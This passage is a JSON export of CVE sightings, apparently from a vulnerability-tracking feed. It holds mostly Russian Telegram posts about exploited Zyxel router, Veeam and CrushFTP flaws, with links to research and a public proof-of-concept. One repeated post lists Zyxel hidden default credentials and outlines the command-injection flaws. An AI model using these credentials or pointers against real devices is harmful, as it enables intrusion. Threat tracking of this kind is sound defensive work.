\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, CrowdStrike \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u043e\u0442\u0447\u0435\u0442 \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0440\u044f\u0434 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0421\u0428\u0410 \u0441 \u0446\u0435\u043b\u044c\u044e \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430.\n\n\u0411\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-04-26T15:38:30.000000Z"}, {"uuid": "c88cb2ff-6ffb-44fc-bfb6-e32699437afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/ctinow/230040", "content": "Zyxel CPE Devices Face Active Exploitation Due to Unpatched CVE-2024-40891 Vulnerability\nhttps://ift.tt/6CRPdso", "creation_timestamp": "2025-01-29T07:05:00.000000Z"}, {"uuid": "e2d80e11-3acd-4104-ab39-82c1b5682256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/ctinow/225726", "content": "Fog and Akira ransomware attacks exploit SonicWall VPN flaw CVE-2024-40766\nhttps://ift.tt/HFml4Bn", "creation_timestamp": "2024-10-29T13:05:30.000000Z"}, {"uuid": "60e397f3-a2fb-44fc-b4ea-a64195a32d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1537", "content": "\ud83d\udda5 Veeam Backup & Response \u2014 RCE (CVE-2024-40711)\n\nA critical deserialization vulnerability in .NET Remoting has been discovered in Veeam Backup & Replication, allowing unauthenticated remote code execution (RCE). The flaw affects versions 12.1.2.172 and earlier.\n\n\ud83d\udd17 Research:\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/\n\n\ud83d\udd17 Source:\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\n#veeam #backup #deserialization #unauth #rce", "creation_timestamp": "2024-09-16T13:08:53.000000Z"}, {"uuid": "e4ce5360-2743-479b-9784-ef25043615e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/ctinow/224939", "content": "Ransomware operators exploited Veeam Backup & Replication flaw CVE-2024-40711 in recent attacks\nhttps://ift.tt/HYxSucQ", "creation_timestamp": "2024-10-12T08:14:25.000000Z"}, {"uuid": "e6a1334d-84de-4890-b79e-bd05a0c5b58c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/ctinow/216495", "content": "https://ift.tt/hOXDBSF\nCrushFTP Zero-Day Exploitation Due to CVE-2024-4040", "creation_timestamp": "2024-04-30T20:56:12.000000Z"}, {"uuid": "c90be268-c073-409d-a8ab-48ecb16a2bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/ctinow/216024", "content": "https://ift.tt/3m9XMU8\nCrushFTP zero-day exploited by attackers, upgrade immediately! (CVE-2024-4040)", "creation_timestamp": "2024-04-23T12:01:56.000000Z"}, {"uuid": "9449094f-7b34-4708-9853-5866a24441e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40842", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mrtwxdov3525", "content": "[RSS] XProtectRemediatorDubRobber infoleak on macOS (CVE-2024-40842)\n\n\n gergelykalman.com -> \n\n\nOriginal->", "creation_timestamp": "2026-07-30T07:43:34.156946Z"}, {"uuid": "53938eee-903e-4d3c-8b64-d18557bf2b9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/cisoclub/4046", "content": "\ud83d\udd25 Zyxel \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442: \u043f\u043e\u0440\u0430 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u043e\u0443\u0442\u0435\u0440\u044b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u0437\u0434\u043d\u043e! \ud83d\ude80\n\n\u041d\u0443 \u0447\u0442\u043e, \u0434\u0440\u0443\u0437\u044c\u044f, \u0435\u0441\u043b\u0438 \u0432\u0430\u0448 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442, \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u043e\u0434 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f: \u043d\u0435 \u043f\u043e\u0440\u0430 \u043b\u0438 \u0435\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0434\u044b\u0445? \n\n\ud83e\uddd0 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0446\u0435\u043b\u0430\u044f \u043b\u0438\u043d\u0435\u0439\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 CPE \u0443\u0436\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u2014 \u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430.\n\n\u0427\u0442\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c?\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b VulnCheck \u0435\u0449\u0451 \u0432 \u0438\u044e\u043b\u0435 2024-\u0433\u043e \u043d\u0430\u0448\u043b\u0438 \u0432 \u044d\u0442\u0438\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438, \u043d\u043e \u043f\u043e-\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0436\u0430\u0440\u043a\u043e \u0441\u0442\u0430\u043b\u043e \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0430 \u0432\u043e\u043b\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u2014 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0435 \"\u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0442\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\", \u0430 \u0431\u043e\u043b\u0435\u0435 1,5 \u0442\u044b\u0441\u044f\u0447 \u0436\u0438\u0432\u044b\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 CVE-\u0448\u043d\u0438\u043a\u0438: CVE-2024-40891 \u0438 CVE-2025-0890, \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0438\u043c \u043b\u044e\u0434\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u042d\u0442\u043e \u043a\u0430\u043a \u0435\u0441\u043b\u0438 \u0431\u044b \u0443 \u0432\u0430\u0441 \u0432 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u0435 \u0434\u0432\u0435\u0440\u044c \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c, \u0430 \u043a\u043b\u044e\u0447\u0438 \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c.\n\nZyxel \u0433\u043e\u0432\u043e\u0440\u0438\u0442: \"\u041f\u0440\u043e\u0441\u0442\u043e \u043a\u0443\u043f\u0438\u0442\u0435 \u043d\u043e\u0432\u044b\u0435!\"\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043d\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442. \u041f\u043e\u0447\u0435\u043c\u0443? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u2014 \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0438 \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f. \u0412\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u0434 \u044d\u0442\u043e\u0442 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u0437\u0430\u043a\u0430\u0442: VMG1312-B10A, VMG1312-B10B, VMG1312-B10E, VMG3312-B10A, VMG3313-B10A, VMG3926-B10B, VMG4325-B10A, VMG4380-B10A, VMG8324-B10A, VMG8924-B10A, SBG3300 \u0438 SBG3500.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0447\u0442\u043e-\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u2014 \u0432\u0440\u0435\u043c\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043f\u0433\u0440\u0435\u0439\u0434.\n\n\u041d\u043e \u0435\u0441\u0442\u044c \u043d\u044e\u0430\u043d\u0441\u2026\n\n\u0421\u0430\u043c\u044b\u0439 \u043f\u0438\u043a\u0430\u043d\u0442\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: Zyxel \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0441 \u0438\u044e\u043b\u044f \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 VulnCheck \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u0447\u0451\u0442, \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0437\u0430\u0440\u0430\u043d\u0435\u0435. \n\n\ud83e\udd37\u200d\u2642\ufe0f \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u0434\u044b\u0440\u044f\u0432\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u2013 \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438!\n\u041d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0436\u0434\u0430\u0442\u044c, \u043f\u043e\u043a\u0430 \u0432\u0430\u0448 \u0440\u043e\u0443\u0442\u0435\u0440 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0432 \u0447\u0435\u0439-\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442. \u041b\u0443\u0447\u0448\u0435 \u0432\u043b\u043e\u0436\u0438\u0442\u044c\u0441\u044f \u0432 \u043d\u043e\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442, \u0447\u0435\u043c \u0441\u0442\u0430\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432. \n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0418\u0411 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-07-30T00:02:53.577821Z"}, {"uuid": "c21da1f5-fde4-4e73-a0ae-9b60863463fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/sysadm_in_up/2222", "content": "Veeam Backup & Response - RCE With Auth, But Mostly Without Auth (CVE-2024-40711)\n\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/", "creation_timestamp": "2026-07-30T00:03:02.941990Z"}, {"uuid": "6a95abf3-512c-41d3-99e3-7ee784b3d29a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/CyberBulletin/26071", "content": "\u26a1\ufe0fFog & Akira Ransomware Exploit Critical Veeam RCE Flaw CVE-2024-40711 After PoC Release.\n\n#CyberBulletin", "creation_timestamp": "2024-10-11T06:15:40.000000Z"}, {"uuid": "5701d60f-80ba-45cd-b0e9-c9a5c7dd7335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "published-proof-of-concept", "source": "Telegram/k13wpBMjikAWn-MEXpBBL1rwnEDpUB06hWYX97kzArPBO4U", "content": "", "creation_timestamp": "2026-08-02T23:18:17.416819Z"}, {"uuid": "da88979f-93ca-4d06-815a-8a9aac2c4295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "published-proof-of-concept", "source": "Telegram/k13wpBMjikAWn-MEXpBBL1rwnEDpUB06hWYX97kzArPBO4U", "content": "", "creation_timestamp": "2026-08-03T00:26:59.217520Z"}, {"uuid": "ea4bbac7-21da-4f88-b324-49feb34e86ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "exploited", "source": "https://t.me/purp_sec/240", "content": "\u0420\u0435\u0431\u044f\u0442, \u0432\u044b \u0436\u0435 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442\u0435 \u0441\u0432\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE. \u0412\u043e\u0442 \u0438 Zyxel \u0442\u043e\u0436\u0435 \u0440\u0435\u0448\u0438\u043b\u0430 \u043d\u0435 \u043f\u0430\u0440\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0442 \u0441\u0447\u0435\u0442. \u0422\u0430\u043a \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u0433\u043e \u0441\u043f\u0438\u0445\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u043d\u0443 \u0437\u0430 \u0442\u043e \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0434\u044b\u0440\u044f\u0432\u043e\u0435 \u041f\u041e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0442\u043e\u0438\u0442!\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0442\u0440\u0435\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 CVE \u0432 DSL CPE:\n\n\ud83d\udd34CVE-2024-40890 - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f HTTP POST \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\ud83d\udd34CVE-2024-40891 - \u043f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libcms_cli.so \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Telnet.\n\ud83d\udd34CVE-2025-0890 - \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435\u0441\u0435\u043a\u044c\u044e\u0440\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 supervisor:zyad1234 \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0430 zyuser:1234 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nZyxel \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u044b\u0440 \u0438 \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b\u0430\u2026 \u043a\u0443\u043f\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0432\u043e\u0432\u0441\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u0441\u0442\u0430\u0442\u0443\u0441 EOL, \u0432\u0441\u0435 \u0435\u0449\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0440\u043e\u0434\u043e\u043c.\n\n#red_team #Zyxel", "creation_timestamp": "2026-08-05T00:00:11.497414Z"}, {"uuid": "ccc95ff2-d192-4fb7-95b5-dffa0c54cbf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/purp_sec/240", "content": "\u0420\u0435\u0431\u044f\u0442, \u0432\u044b \u0436\u0435 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442\u0435 \u0441\u0432\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE. \u0412\u043e\u0442 \u0438 Zyxel \u0442\u043e\u0436\u0435 \u0440\u0435\u0448\u0438\u043b\u0430 \u043d\u0435 \u043f\u0430\u0440\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0442 \u0441\u0447\u0435\u0442. \u0422\u0430\u043a \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u0433\u043e \u0441\u043f\u0438\u0445\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u043d\u0443 \u0437\u0430 \u0442\u043e \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0434\u044b\u0440\u044f\u0432\u043e\u0435 \u041f\u041e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0442\u043e\u0438\u0442!\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0442\u0440\u0435\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 CVE \u0432 DSL CPE:\n\n\ud83d\udd34CVE-2024-40890 - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f HTTP POST \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\ud83d\udd34CVE-2024-40891 - \u043f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libcms_cli.so \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Telnet.\n\ud83d\udd34CVE-2025-0890 - \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 